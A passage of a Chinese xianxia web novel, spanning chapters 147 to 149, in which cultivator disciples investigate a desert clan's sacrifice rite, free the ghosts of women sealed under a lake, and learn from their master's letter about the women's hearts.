回去路上,顾梦真忧心忡忡地问小师妹:“喂喂,到底发生了什么,映心怎么怪怪的?” 曾换月唉声叹气道:“过了子时之后就这样了,我和大师兄猜测就是上次撞鬼的影响……哎呀服了,怎么今天是这样的啊!” “前日和昨日的性子都无伤大雅……”顾梦真瞅了瞅走在前边的石映心的身影,“今日的有些杀伤力哈……希望只是口头上说一说吧。” 曾换月苦着脸道:“我想不明白,那只鬼怎么这么厉害啊?居然能影响师姐这么久!” “你别急,”顾梦真宽慰她,“大师兄不是说了,可能和映心的那啥有关吗?也许不是鬼的关系。既然这样,还是等师父那边的回信吧。还要麻烦你看好映心,别叫她做出格的事。” 乐鸿:那啥? 曾换月又叹了一口气:“师姐要做的事我怎么拦得住呢?” “映心对你最好了,她都不听大师兄和我的话。” “哎呀你不懂,这不一样!” …… 后边二人的嘀嘀咕咕,明易没心情听进去,这会他的注意力自然都在师妹身上。他觉得映心哪里变了,似乎是只变了一点,但和前两日相比,有些格外的差别,具体的……说不上来。 这让他想到了映心年幼还未定性的时候,那时候最闹腾了,又爱乱照人,照了就学,坏习惯都学去了,叫他和师父好生头疼,软硬兼施地让她改;二师弟也要遭殃,因为他坏习惯多,为了让映心不被他影响,得让他以身作则才好。 从那时候开始二人就是戒律堂的常客了。 这么贪玩了好久,总算是定了性子,当时他和师父都精疲力竭地觉得很欣慰,感觉皇天不负有心人,自己教导有方啊!后来一想,也许是她“照”够了人,对这事不那么新鲜了,所以自然安定下来。 如此就算定了性,她不再有奇怪的、突兀的情绪,比如一日很犯懒,一日很调皮,一日又很勤奋……总之是规矩起来了,看着也是个稳重孩子。 但这也只是看起来,究竟这家伙的心里是怎么样的、经过了如何的变化才到了如今这样呢?这些他们是一概不知的。 就像今日这般,只知道她变了一些,但不知道怎么变的,又要从何处入手将其“纠正”回来…… 这对他们来说确实是个苦恼事,但映心她为何要经历这些?对她来说这些都算什么?她是……情愿的吗?如果不情愿,怎么看起来无知无觉;如果情愿,那他们的干涉……又算什么。 临睡前,曾换月对师姐道:“希望一觉醒来师姐就恢复原样了。” 石映心看向她:“原样是什么样?” “额,就是撞鬼之前的样子。” 石映心躺得很板正,看着床顶说:“我觉得我现在这样也好。” “唉,你是被影响了才这么觉得的。” 听小师妹叹了口气,石映心沉默了一会后又说:“我是镜灵,我能变成任何样子。” “是啊,但是师姐你的三魂六魄是不变的。哈……好困啊。”曾换月打了个哈欠,“算了,瞎想也没用。我们快睡吧师姐。” “嗯。” 隔日早上,没有石映心做的早膳。大家对此觉得很正常,除了郑银仁格外失落,摸着肚子自我怀疑道:“奇了怪了,为何孤的肚子如此饥肠辘辘?昨晚我分明用了一碗面当宵夜。” 大伙懒得理他。明易问:“郑城主,不知一大早的叫我们来有什么事?” “哦,”郑银仁这才说起正事,“没什么要紧事……也算是要紧事,想问问你们调查中的两件事可有什么进展?” 两件事,一是帮他们离开沙漠,二是捉鬼。 明易微微颔首道:“实不相瞒,确实有些进展,不过线索并不明朗,还需进一步调查。” 听他们有进展,郑银仁忙道:“是吗,说来听听?” 明易依旧不紧不慢的:“城主日理万机,此事未成,还是先不说来干扰城主了。” “哦……”这倒是的,他最近真是忙得头秃,“行,那你们有什么需要孤帮忙的地方尽管提。” 几人其实也等着他这句话呢,曾换月立刻道:“确实是有事要你帮忙!” “何事?” “我们昨日调查下来,种种线索总是止在祭祀一事上,你什么时候和我们说明白过两日祭祀大典的目的究竟是为了什么?而且我们估计是无法在祭祀大典之前完成你交代的这两件事,那要先做个准备啊。” 这话一问,郑银仁就瞪着眼看着她:“这两件事和祭祀大典有何关联?” 石映心:“你既然不清楚有何关联,又怎知没有关联?” 郑银仁:……等等有点绕但是听着有道理啊。 但他依旧没有妥协,而是道:“咳,这事不急,你们再调查几日看看,实在不行的话……再议!” 料到他不会这么容易松口,明易便换了个要求:“既然如此,就请郑城主将祭祀大典延期,在我们找出真相之后再举行吧。” “什么?不行!”这人却一口否决了,“孤说了,你们办这两件事不急,可祭祀大典绝不会延期,孤已经吩咐下去,就定在后日的十五月圆之夜举行,届时天地灵气充沛,正是祭祀我族帝俊天神的好时候。” 郑银仁见明易抬眼看他,似乎还要说什么,连忙接上:“依孤看,不如你们这两日就好好歇息,在我三足乌族中游玩一番,等过了祭祀大典再调查也可。” 明易冷漠道:“我们没这么多时间。” “就是!”顾梦真帮腔道,“你们不急着出去,我们还要出去呢!” 郑银仁打哈哈道:“嗐,也不是不着急,只是这七年都过去了,再急也不急这两日嘛!” 明易没应和他,只是说:“这两日我们会继续调查,既然已经答应了城主的请求,我们便会不遗余力地去做。” 郑银仁竟然感到一些头疼:本来嘛这两件事是他提出来要他们帮忙的,这会怎么变成他们硬要帮了?唉,也不是不想他们帮忙的意思,只是……有点超出他的掌控了。 话说他居然想要掌控仙人的行踪,也是有些不知好歹哦。但久居高位的人嘛,是这样的。 “好,好,孤真是多谢几位的鼎力相助了。” 这边送走了几位仙人,郑银仁马上叫来了副城主吴志,叮嘱道:“这两日你可要看好了他们的行踪,不能让他们坏了我族的大事。” 吴志先是点了点头,又道:“那我管不了他们准备祭祀了,只怕有人偷懒。” 郑银仁挥挥手说:“你也只是看着而已,谁看着不行?孤随便叫个人去代你看管,你就紧跟着那几人便是。” 吴志想想也是哦:“属下遵命。” 吴副城主有时觉得自己是块砖,只要城主一声令下,哪里需要往哪搬;如此一看自己真是太兢兢业业了,三足乌城离了他不行啊。其实他这么想不算错,但也不能高估了自己的价值,毕竟砖也分有用的砖和没用的砖;像他这种的,主要起到一个造型上的作用。 “吴志这样跟着我们,不会以为我们察觉不了吧?” 几人走在街上,曾换月感受到身后不远处如影随形的动静,翻了个白眼道:“不是,我们怎么说也是修仙人士,哪里可能连这么低级的跟踪都发现不了?这是把我们当傻子啊!” 顾梦真也是笑了一声:“我好无语啊。” “不见得真是为了跟踪。”明易倒是替正副城主挽尊了一下,“也许这只是一种对我们心照不宣的暗示。” 乐鸿道:“明道友你是说,郑银仁故意让我们知道他派人监督我们,好叫我们主动放弃查不该查的东西?” 明易微微颔首,心中默默补充一句:如果他有这么聪明想到这一层的话。 “好狡诈啊。”曾换月撇嘴,又冷哼一声道,“别以为我们拿他们没办法!” 石映心从街边上无趣的摊位中收回视线,轻飘飘道:“他送上门来,倒是方便了我们。” “是啊!”曾换月立刻赞同道,“不如就把他捉来问!届时大师兄再消除他记忆不就好了?” 老一套啊。 明易其实也有这个想法,但是:“只怕吴志也不清楚祭祀真相,我们贸然行动便是打草惊蛇。” 别说,看他跟踪人的功夫,确实有些智商不够用的感觉;郑银仁这么了解他,应该知道他不靠谱的。 顾梦真啧了一声:“吴志是副城主都不知道的话,那还有谁……” 石映心和大师兄异口同声:“楚汴。” “他肯定知道!”小师妹斩钉截铁道,“先前我们去问那个张甲,他在边上叽里呱啦补充了好多,感觉在帮张甲圆什么……那会我就觉得奇怪了,他明明讨厌这个张甲,为何还要帮他解释?现在一想,定是为了隐瞒其他的事!” 顾梦真摸摸下巴:“咦,我们那会在问什么事来着?” “七年前三足乌族的女人病逝的事。”乐鸿说,“我问他把逝者葬在了何处,楚汴说在封闭之外。” “封闭之外……”曾换月瞅瞅边上的街景,压低声音道,“那我们可以去啊,现在封闭已经解开,只剩下二师兄的鬼打墙宝器了。” 第147章 不错,他们解开真正的封闭之后,为了不让三足乌族趁机离开而不便他们调查,特地让顾梦真用鬼打墙宝器再次将城池“封闭”了起来。 明易颔首道:“不错,今日我们就去她们的葬身之所。” 不过要去这个地方,还得先甩了跟屁虫。这对他们也不是难事,先勾引吴志走到一个人迹罕至的地方,然后一人绕后把吴志弄晕再五花大绑接着让他喝下神志不清符箓泡的水,最后将他扔在一个没人的房子里,如此便完事了。 一气呵成。 离开城门也轻轻松松,隐身一下就很方便;但问题就是出了城之后,他们并不知晓墓地的具体位置,于是先揪了一个路人问了问,对方却说:“当时是少司命带着几名侍卫运走的,大部分族人都不知道在哪。” 顾梦真有些可惜:“这样啊……” 乐鸿却感到奇怪了:“你们都不知道具体位置,那每逢忌日如何给她们祭奠上香呢?” 这路人仿佛第一次考虑到这个问题一般,被问得一愣:“啊?还要祭奠上香啊……这玩意我们这些大男人怎么会做?以前倒是有祭祖,不过女人死光后就我们就不整这些了,麻烦!” 几人:…… 路人狐疑地打量着几人:“不过你们问这些做什么,难道……” 明易打了个响指,熟练地将他的记忆去除了。 顾梦真摇摇头道:“连祭祖都无所谓了,却还记挂着生孩子?真搞不懂他们在想什么。” 乐鸿也很疑惑啊:“难道真的不在乎自己、不在乎传承,只是不想灭族?” “哪有这么伟大啊。”曾换月抱着胸冷哼一声,“我看他们根本就没有动脑子想什么意义,纯属下半身思考,跟没开化的动物一样满脑子都是繁衍!不管好的坏的都要生!” 石映心好奇:“人被动物本能支配,还算是人吗?” 曾换月嘲讽道:“你看他们现在生的那些小孩算不算人?” 石映心便笑了一下:“他们自己都不把孩子当人。” “好了,”明易及时扯回正事,“既然如此,我们便采用第二个办法。” 第二个办法有些些些麻烦,就是去李大家找他娘先前的遗物,再让传音鹤记住气息去找;好在李大是个念娘的孩子,很快便在一个他藏起来的铜盒中发现了一些女人的东西;明易取了一个发黑的、瞧着风尘仆仆的银簪做信物。 跟着传音鹤出了城,走过了千篇一律的景色,最后停在了离三足乌城大概两刻钟脚程外的一片湖泊边上。 这片湖泊孤零零的,边上只有稀疏的小植株,湖面清澈,看起来水不深。乐鸿有些新奇地说:“这样的小湖泊在沙漠之中经常会被晒干的,不知道它存活了多久?” 曾换月没兴趣猜湖泊的年龄,左右看了看四周道:“传音鹤就停在这,难道女人们的尸体就被埋在附近?” “怎么说,”顾梦真扭扭腰转转脖子,“开挖?” 明易正想点头,却听乐鸿道:“几位且慢,在下有拙技可一试……” 大伙看向他,顾梦真笑道:“你就别谦虚了乐鸿,有好东西快点拿出来嘛!是什么办法啊?” 乐鸿内敛一笑道:“我们梵音门弟子修炼的功法,本就有超度冤魂恶鬼的效用;几位若是不急,可待我静心念诵心经,便可感知亡魂怨念从何而来,就不用大费周章地……咳,刨沙了。” 翻译:能定位。 “这敢情好!”曾换月立刻说,“你快念吧,我才不想刨沙呢,搞得整个人都沙沙的不舒服。” 明易也颔首道:“乐鸿,麻烦你了。” 乐鸿忙说不麻烦不麻烦,应该的应该的;于是原地打坐下,双手合十立在胸前,眼睛一合嘴巴一张就是念,很快就进入了心无旁骛的状态。 四人在边上瞅着也不敢打扰,无聊地四处乱看。 曾换月好奇地玩了玩水,招呼石映心道:“师姐你快过来,这水冰冰的好凉快啊!看着也很干净呢。” 石映心便过去摸了摸:“彻骨寒?” 曾换月把袖子卷起来,将水往胳膊上拂:“六月的天这么热,要不是我们有灵气护身,在沙漠中这样走来飞去的,早就晒成人干了!唉,还是我们山上凉快。要我说啊,这三足乌城简直就是穷 乡僻壤之地,吃也吃不好,人嘛也讨厌……” 她絮絮叨叨地开始抱怨就停不下来,手上还不停地动作着;石映心蹲在边上默默地听着,没有回复。忽然听曾换月打了个哈秋,抽抽鼻涕道:“哇塞,这水真的凉,我居然都有些冷了!” 这时候石映心颔首道:“看来真是彻骨寒。” “彻骨寒?”曾换月看向师姐,她以为师姐只是形容一下,“是很寒不错,但也没有到彻骨的地步……” 话音未落,就见边上打坐的乐鸿猛地睁开了眼睛,目视前方的湖泊说:“我感受到了,怨念来自湖底!” 曾换月:OO? 石映心这时候才不紧不慢道:“彻骨寒是指能透过人的肉身,渗透其筋骨的寒意,其形式多样,常见的有鬼气凝成的阴冷。” 曾换月:“……师姐你为什么不早说?” 石映心的语气很平常:“我不确定,再说这也没什么。” 曾换月:……虽然没什么但是我心理上会膈应啊,这湖底埋着死人诶! 小师妹心中虽有些委屈,但又明白师姐现在的小异常都是情有可原,于是很快就把委屈抛到了后头,和大伙讨论起来:“那怎么说,我们要潜入湖底吗?” 明易道:“你们在上面等着,我下去看看。” 乐鸿连忙说:“明道友,我能感到湖底的怨念深重,你只身一人下去只怕有危险,不如让我陪你一起,也好有个照应。” “好。” 二人服下避水丹,明易交代二师弟看好两个师妹后,毫不犹豫地和乐鸿跃入了水中。 三人坐在湖边干等,曾换月打了个哈欠:“好无聊啊,我都有些困了。” 顾梦真故意道:“快洗把脸清醒清醒。” 曾换月翻了个白眼,故意朝他打了个喷嚏,后者嫌弃大叫:“你干嘛!” “我干嘛!是你诚心要我着凉!” “我开玩笑的啊!” …… 大师兄不在,二人一吵就没完没了;石映心又是个干看戏的,坐在边上吹着湖面上飘来的凉风,神色淡淡。 忽然之间,在二人喋喋不休的吵闹之中,石映心听到了湖底传来的动静,像是水将沸腾的蓄势待发,咕噜噜地很着急,自下而上地越来越近,越来越快,最后—— “砰”的一声,湖面上炸开一朵水花。 曾换月:“你这人真的是——啊!” 石映心眼疾手快地将小师妹拎走了,留下二师兄一人淋了好大的雨,哗啦啦啦吃了不少水:“咕噜噜呜呜咕噜??” 顾梦真猝不及防被浇了一身,激得他弹跳而起,整个人大惊失色;身下的沙子沾了水变得泥泞不堪,他本想飞走,但才离地一公分不到,猛地有什么抓住了他的脚腕?低头一看,是一只苍白纤细的手,从边上的湖水里伸出来的。 顾梦真出于本能地叫起来:“鬼啊!!” 另一边的曾换月也是余惊未定,看看师姐,又看看二师兄,茫然道:“这是怎么回事?” 石映心:“不知道。” 顾梦真摆脱鬼手飞了过来,整个人都很凌乱:“大师兄他们在搞什么啊!” 石映心想了想道:“我下去看看……” “别别别!”曾换月连忙拉住她胳膊,“师姐你要是走了,我和二师兄遇到了危险怎么办?大师兄那么厉害,肯定会没事的!” “对啊对……我去,你们快看!”顾梦真正应和着,骤然发现什么,往湖泊方向一指,“那些都是什么!?” 她们望去,就见湖泊中源源不断地爬出了许多苍白浑浊的鬼魂,每只都是女鬼,有老又少,都神情呆滞地往同一方向走去;金黄的沙漠之上,灼灼的日光之中,她们仿若蝉翼般轻薄,好似马上要融化在烈日之下。 曾换月惊愕道:“这是都是……三足乌族七年前死去的女人吗?她们要去哪?” 石映心说:“是往城池的方向。” “她们要回去?”顾梦真咽了咽口水,“可是……回去要干嘛?我看她们虽有怨念,但鬼气淡薄,现在又是青天白日,她们活不了多久的,怕是马上要魂飞魄散……” 话音未落,就见明易从水中飞了出来,朝她们喊道:“快将她们拦下!” 虽然不知道为什么,但三人还是动身了,二师兄还特地提醒道:“映心,大师兄说的是拦下不是杀了哦!” 石映心:“……我耳朵没聋。” 因为鬼太多,几人不得不分散开来去拦截,就到这会还源源不断地从湖底爬出来好多呢;曾换月觉得如果这些女人没死,那现在的三足乌城哪里会变成这样鸟不拉屎的地方啊?起码热闹些。 “别走了别走了,你们要去哪啊?再走要被晒死了,快回湖里吧!”她一边翻包找符箓,一边大声劝着,可惜先前画的符箓都是斩妖除魔的,像这种拦鬼路的符箓……她没见过啊!所以这会还得找一找有没有可代替的。 顾梦真拿出一个拳头大的石头,施法后将其往前一扔,石头落地变成一面宽大的石墙,挡在了一大部分鬼的前边,可她们仿佛无知无觉一般继续往前走,只是奇了怪了,为何怎么走都离那墙有一步之遥? 第148章 这便是顾梦真的“鬼打墙”宝器,可以设立一面寻常人看不见的墙,只要是往墙的方向走,那就始终只能在离墙一步外的地方原地踏步,但眼前的风景却依旧会在变换(障眼法)。 “鬼打墙”其实是比较低阶的宝器,破解的办法也很简单,只要走出墙的范围便好了;可惜他那面大的墙被用在三足乌城前掩饰出口了,现在这面是小的,于是就有许多漏网之鬼。 而且还有一个缺点,就是只能拦住她们,不能将她们送回湖中,不过暂做缓兵之计还是可以的。顾梦真站在墙边,看着那些在墙前神情麻木无知无觉的女鬼,心中有些感叹…… 这次 是真的鬼打墙诶,哈哈。 再看石映心这边,这位剑修本有些无措,毕竟那些鬼傻傻的,看了她的剑也不怕,居然就往前撞;她记得师兄的嘱咐,只好将剑收回来。茫然之时,正好见二师兄的“鬼打墙”立了起来,于是有了主意: 只见她略退一些拉开距离,双脚扎进沙中稳住身形,剑出鞘后利落一挥——伴着凌厉剑意的剑气如刮起的飓风,荡起一片沙尘飞舞,将那些轻飘飘的鬼魂猛地往“鬼打墙”的边上推去,鬼魂们就这么被迫掉入了陷阱。 好在只是魂体,不是真的肉身,挤一挤叠一叠还是可以的哈。 小师妹也因此得了灵感,将驱鬼的符箓飘在空中绕了一圈,将鬼魂们往墙的方向逼近,那些鬼不傻也傻,不傻在遇到符箓时知道换路走;傻在不知道自己正在走的路是“鬼打墙”。 师兄妹三人合作,如此便将这些鬼魂大致框定在了一个范围内。 大师兄……对了,大师兄呢?方才指示了她们一下就不见了,乐鸿也没踪影,难道他们二人还在湖底? 三人便往湖泊赶去,这时候女鬼也差不多都爬上岸了,湖面有些死寂;明明瞧着清澈见底,但其实她们瞪大了眼睛,依旧什么都看不见。 石映心看了一会后道:“我下去看看。” 曾换月拉住她:“再等等吧师姐,下去也……不一定找到大师兄他们啊。” “不下去看看怎么知道?” “这……” 就在石映心打算不管不顾地跳下去时,水里总算传来了动静,几人期待地望去,却见是乐鸿扛着明易上来的,二人瞅着都受伤了;三人皆是一惊,连忙上前迎接,将他们带到了沙地上休息。 见大师兄的嘴角冒了点血,石映心有些关心道:“大师兄,是什么伤了你?” “咳……”明易想说话,却咳了两声,只好朝乐鸿那边看了看。 乐鸿瞧着也狼狈,但似乎没有大碍,说话声儿还是有底的,就是瞧着很愧疚:“我和明道友在湖底找到了封印这些鬼魂的宝器,我在解封印时遭到了反噬,明道友是为了保护我才扛住了反噬……所以受伤了。” 明易这会能喘气了:“我没事,修整一日便好。” 乐鸿苦着脸说:“实在对不住了,明道友。” 明易微微摇头道:“你能解开封印才是帮了大忙。” 见大师兄缓过神了,大伙也松了口气。顾梦真问:“究竟是什么宝器这么厉害,竟然伤了大师兄!你们带上来了吗?” “带上来了。”乐鸿说着,从储物空间里取出一个几人都有些眼熟的东西,正是三足乌神像,“几位请看。” 曾换月看都不想看:“又是这破玩意!” 顾梦真拿过来瞧了瞧,眉头微皱道:“这次的和我们先前看到的几座不同,里头蕴含着……奇怪,这是哪派的修为?不像是寻常的灵力啊?” “不是我们梵音门的功法。”乐鸿先摇摇头。 “什么什么?”曾换月这才好奇地把神像拿过来把玩了一下,“嘶,如果就是这东西把这些女鬼封印在湖底,那都七年过去了它居然还有这么深厚的灵力伤了大师兄……这玩意不简单啊。” 石映心伸手:“给我看看。” “好啊师姐。” 石映心拿过神像,很快感受到一股和她们的灵力不太一样但却似曾相识的能量,她虽然不知道这是什么,但很快就锁定了方向:“和天神女魃的青蛋里蕴含的神力很像。” 大家的重点各有不同,比如乐鸿问:“天神女魃的青蛋?”这事他自然是不知道的,不过说来话长,大家这会也没工夫和他解释。 明易在意的则是:“你是说……神力?” “嗯。”石映心颔首,打量着手中的三足乌神像,似乎在斟酌着用词,“是一种……很古老的力量,与我们修炼的仙法不同。” 曾换月想到什么:“是像常曦和羲和她们那样的吗?” 石映心点点头:“嗯。” “老天奶……这么说郑银仁他们供奉的那个天神帝俊,还确有其神啊?”顾梦真扯了扯嘴角,“我还以为是哪里来的野神呢……” “怎么会,”乐鸿为此神祇澄清道,“帝俊在梵音洲也是赫赫有名的,不说有明家这样的大家族百年传承,最鼎盛时,很多皇室都以帝俊为供奉的神祇、诚心祭祀。虽说如今大势已去,但绝非是哪路小神。” “那就奇怪了。”顾梦真看看大师兄,又看看乐鸿,“一般来说,有名望的神祇只会越来越长久,名垂百世也是正常的……就像你们梵音门供奉的神佛,这么一看和帝俊比起来就是新神,如今也是香火鼎盛……为何帝俊会在有明家这样大家族的推崇下还中道崩殂呢?” 大家默契地看向明易。 明易这会脸色还有些苍白呢,见大家看来,叹了口气道:“当时我还年幼……”就说到这了,好像已经做了解释。 大家自然不会逼问他,乐鸿想了想道:“虽说天下的神祇皆可供万民供奉,但并非所有人都能沟通神明,因此才有寺庙殿堂的设立……像三足乌族,很显然只有郑城主和少司命有这样的本事。” “对受神庇佑感触不深的寻常百姓来说,一旦缺少了祭祀的仪式,便像失去倚仗一般,容易心生怀疑,久而久之失去对此神的信奉,转而投奔它神……也是情有可原。” 乐鸿解释到这,大家也都有些明了,顾梦真若有所思道:“而且连大家族明家都陨落了,对其他百姓来说就像是一种……预警一般,多少心里有些怀疑了。” “不错。”乐鸿点点头,“三足乌族常年圈地自封,鲜少入世;族内显然有他们的一套城规,联系紧密,故从一而终地供奉着帝俊……倒也正常。” 曾换月听到这,撇了下嘴道:“而且那帝俊看起来对他们是有求必应嘛,居然还给了他们一口男人生子泉!先不说生出来的孩子怎么样吧,反正这也太夸张了!还有这些女鬼……” 她的目光看向那些还在鬼打墙的女鬼们,叹了口气道:“现在我们要拿她们怎么办啊?” 明易说:“湖底的封印已破,她们是回不去了。” 顾梦真说:“我看她们是想去三足乌城……欸,那之前城中几回闹鬼的事是她们做的吗?” “不出意外的话,是。”乐鸿看向石映心手中的三足乌神像,“其实这神像被埋在湖水的沙地,若不是封印已有些漏洞,透出了几分灵力,我们也难这么快找到它。不过漏洞不大,所以可能……一次只能挤出去一只鬼?” “而且奇怪的是……”乐鸿眉目有些哀愁,“寻常鬼怪应能正常说话才是,除非鬼气实在淡薄;但既然她们能进城中闹事,定不止于此……也许是和三足乌神像的封印有关吧,让她们开口不能言。” 曾换月闻言哼笑一声,有了个坏主意:“这么听来,这些女人的死因肯定不同寻常,不如就放她们回城里,让她们有怨报怨有仇报仇呗!” “咳。”明易微微咳嗽一声,警告道,“不要胡来。” “曾道友,这样不好、不好,”乐鸿摇摇头说,“天道好轮回,善恶终有报;这些族人死去多年,化作怨鬼,已经过了报仇的时候,应早日入轮回才好,不能再添罪孽;不如就让我在此为她们念经超度。” 石映心看了看那些叠在一起的鬼魂:“这么多鬼,你要念多久?” “阿弥陀佛,”乐鸿拜了一拜,“鬼施主们被封印在此七年有余不得入轮回,实在凄惨可怜,小僧不能见死不救。几位道友不必在此候我,可先回城中休息。” 几人面面相觑,顾梦真挠挠头道:“那怎么放心留你一人在这?要不映心你们先带大师兄回去休息,我在这守着乐鸿好了。” 曾换月啧了一声:“我是想回去啦,这里实在太热了。不过就怕你俩对付不了这些鬼,别忘了有一只鬼还杀了人的!” “应该没事的。”乐鸿腼腆一笑道,“冤有头债有主,我想这些鬼施主不是会乱杀无辜之鬼;再说……现在一想,我们能找到高禖殿,也是多亏了她们的帮忙。” 嘶,那倒是哦。 明易便道:“既然如此,此处就交给你们二人。若是有意外,一定要明哲保身,及时回来。” 顾梦真拍拍他肩膀:“放心吧大师兄,你先回去好好歇着。我们也不好把那个吴志关太久,免得引起怀疑,正好你们回去把他放了先。” “好。” 事情就这么决定了。 石映心三人带着三足乌神像先回到了城中,处理好吴志之后,就在屋中关起门来研究神像。 第149章 坐在桌前,石映心和明易说:“大师兄,要不你先去歇会。” 明易轻轻摇头:“我已无大碍。” “对大师兄来说,不折腾就算歇着了吧。”小师妹打趣道,“师姐你让大师兄歇着,估计他还要瞎操心呢。” 石映心:“也是。” 明易:确实如此。 因为有青蛋的先例,所以她们怀疑这三足乌神像中指不定也残留什么一缕残魂之类的,要是能请出来问问自然是最好的。想到这,曾换月戳了戳神像,不满道:“真讨厌,就是你害那些女鬼不会说话是不是?叫我们不能轻易得知真相!” 又问她师姐师兄:“那我们现在拿它怎么办啊?” 她师姐说:“不如我将它劈开看看。” “不可。”她大师兄连忙阻止,“担心神力反噬。” “这什么神啊?”曾换月翻了个白眼,“居然还帮那些族人做坏事!” “咳。”明易一着急就有些咳,“不管如何,我们一定要小心后日的祭祀大典。” 石 映心幽幽道:“阻止他们不是很简单吗?” 明易补充:“……也不是阻止。” 石映心就没说话了。 曾换月很不满意:“为什么呀!如果郑银仁他们要做的是坏事,我们也不能阻止他们吗?” “到时再谈。”明易道,“问题是我们目前不知道他们要做什么,所以要查清真相……” 曾换月很不服气:“肯定不是好事啊!你看他们已经干了什么:高禖殿、捉鸭子,逼人生子,还有那些奇形怪状的小孩……这些还不够治他们的罪?” “我们不是来治他们罪的。”明易冷静的目光看向她,“换月,我们是来协助乐鸿收集三足乌族逆天而行的真相,届时自有梵音门来惩处他们的罪过。” 曾换月很不理解:“梵音门能惩处,为什么我们不能惩处?难道我们天下第一名门正派的弟子没有这样的资格?” 明易叹了口气,耐心道:“国有国法,族有族规。三足乌族皆是凡人,万事先遵循他们的族规,再是国法,只要不闹出什么名堂,旁人不便插手。更何况是我们这些世外的修仙人士?若不是因果牌指引,更不该插手他人的因果……” “大师兄!”曾换月听不下去了,“你怎么这么冷漠啊?你还说我们是什么正派人士,现在这些民间恶果就在眼前,你居然不管!” “曾换月,”明易平静道,“管好你自己。” 曾换月:。 真是气死了,干脆拍桌而起道:“我不想了!大师兄你爱干嘛干嘛吧,师姐我们走!” 说着拉起边上的石映心就大步离开,竟还摔门而走。 “咳……”明易望着二人的背影,无奈地摇了摇头。 师姐妹的卧房内。 “我还以为大师兄多么善良正派呢,结果只是做做样子!我看他完全是因果牌的走狗,因果牌要他干嘛他就干嘛!”曾换月喝完茶水,拿茶盏一敲桌子道,“师姐你说是不是?” 石映心:“嗯。” “不要敷衍我,你说是不是嘛?” 石映心只好说:“大师兄不是坏人。” “我没有说他是坏人,只是他也没那么好!” 石映心又说:“大师兄不喜欢多管闲事。” “师姐,你是在说我多管闲事吗?” 石映心摇摇头道:“不是这意思。” 曾换月知道自己在钻牛角尖,但面对师姐,这又如何呢:“那是什么意思嘛?” “我想大师兄只是想保护我们,所以不愿让我们做多余的事,这是其一。”石映心顿了顿道,“其二,其实行侠仗义和不干涉别人因果并不冲突。换月,你觉得界定的标准是如何呢?” “界定的标准?”曾换月有些冷静下来,“嗯……我也不太清楚,不过也许就像是……不要管恋爱脑那种?” 好在是石映心,知道她说的“恋爱脑”是怎么回事:“我觉得这算是一种标准。可为何要不管呢?” “为何不管……”曾换月冷哼一声,似乎想到了什么,“要让那些笨蛋吃到了苦头,她们才知道悔改啊!再说了,我可没少见为了帮朋友然后自己遭殃的例子,严重的还死了呢!真是冤枉。” “不错。”石映心点点头道,“我想大师兄是为了避免我们出现这种冤枉的情况,担心我们多管闲事,反倒引火烧身。三足乌族已经犯下了大错,很显然,他们还打算一错再错,如果我们就这么半途把他们处理了,岂不是拦下了他们应得的报应?” 曾换月有些迷瞪:“什么意思啊师姐,难道我们就顺其发展、让他们做尽坏事?可那些无辜的、将要受害的人呢?” 石映心微微摇头道:“换月,你还没想明白,为何我们这些弟子要领了因果牌才能下山做任务吗?” 曾换月一愣,呆呆地看着师姐。 师姐的声音平静而稳重,和平日并无不同:“因果牌,便是万事树为弟子们提供的一线介入万事的因果,这一线也是底线,倘若破了此线,只怕更多的后果要我们来承担。” “一线……因果。”曾换月有些怔然,“是这样吗?那我们这些弟子的所作所为……到底算什么?” “也许你说的不错,”石映心朝她笑了笑,“我们都是因果牌的走狗。” 曾换月:…… “那还是别叫走狗了,好难听的。”她有些泄了气一般坐了下来,双手撑着下巴道,“本来我是不明白的,但师姐你这么说我就有些懂了。” 主要是举到恋爱脑这个例子,勾起了她前世的不美好回忆:谁还没个恋爱脑朋友了?真是劝的时候苦口婆心,后边回想起来就想抽自己一巴掌。 这么看,她与朋友之间的友情就是那一线因果,但最好就止于友情这里,不要掺和爱情才是正确的。 “唉!”她趴在桌子上,颓废地说,“我好像懂得了,师姐。其实想一想,我也没有那么想惩奸除恶的,真到那时候还得看你和大师兄,我顶多在边上加油打气……我又有什么资格教你们做事呢?” 石映心拍拍她脑壳:“没有教我们做事,只是在正常商议。” 小师妹又立起身来:“那这么看,我们也没必要阻止后日的祭祀大典啊?就等着看他们自讨苦吃呗。” 石映心点点头说:“我好奇他们到底要做什么。” “肯定不是好事!” “世上的好事都是千篇一律的,坏事才有趣得别出心裁。”石映心扬起一个善良的笑容,“也许这就是师父说的……下山见世面。” 曾换月其实觉得师父说的应该不是这意思吧,不过现在也不重要,她回过神来道:“哎呀糟了,我还朝大师兄发火。” 石映心:“大师兄没生气。” 曾换月站起来说:“我料到大师兄不会和我计较的,我去找他说几句好话、承认一下错误就好了!”说着便跑了出去。 石映心把视线从师妹风风火火的背影上收了回来,这会觉得有些口渴了,拿起茶盏喝了口水;放下时似有所感地望向盏中的水面,隐约看到一个很模糊的水影,像是在看着她。 这是谁? 石映心有些奇怪。 这会又听到曾换月在隔壁房间喊她“师姐师姐快过来”,她便放下茶盏走了过去,看见大师兄手中拿着一张归壹派的信纸在看,眉目有些严肃。 曾换月飞快地说:“这是师父的回信!” “信上说了什么?” “信上说,”明易叹了一声,看向一脸无辜的师妹,“七年前,师父在为你找心脏时途径此处,挖走了所有三足乌族女人的心脏;师父便猜想你撞鬼后状态不稳可能是与此事有关,像是一种残魂感应吧。” 石映心愣了愣,她师妹也没反应过来。 明易继续道: “除此之外,师父还提供了其他线索:比如当时她挖心脏时,发现这些尸体身上有许多刀伤创伤等,并不像是因病而死;女人尸体堆附近还有几具男人的尸体,不知为何没葬在一处;当时她为了取走心脏,逼不得已破坏了一些封印,只是没工夫再想后事,取了就走了。” ……好不负责任啊,师父! “而且师父取心脏那时,三足乌城并未与世隔绝。”说到这明易把信放下,轻轻呼出一口气,微微摇了摇头,看着很没招了,“师父最后说,如果映心不舒服就回门派,不要逞强,也许离开了此地便会好转。” 信息量太大,三人一时都没说话,光顾着头脑风暴了。 还是石映心先开口:“我没事,不回去。” 也不知道她是怎么定义这个没事的,这情况真是罕见又棘手,大家都很手足无措。 见师妹师兄都不说话,石映心又补充道:“后日就是祭祀大典,也不差这两日。” 看起来她在说服二人,其实她师兄师妹心里都明白,人家只是通知一下“我不回去哦”这样,算是给他们点面子。于是明易只好道:“总之一切小心行事,等处理完三足乌族的事后,我们立刻就回门派。” 曾换月连忙点头:“嗯嗯!绝不贪玩!” “映心,”明易又看向某人,“有什 么事你不要瞒着我们。” 看着大师兄关切的眼神,石映心点了点头:“嗯。” 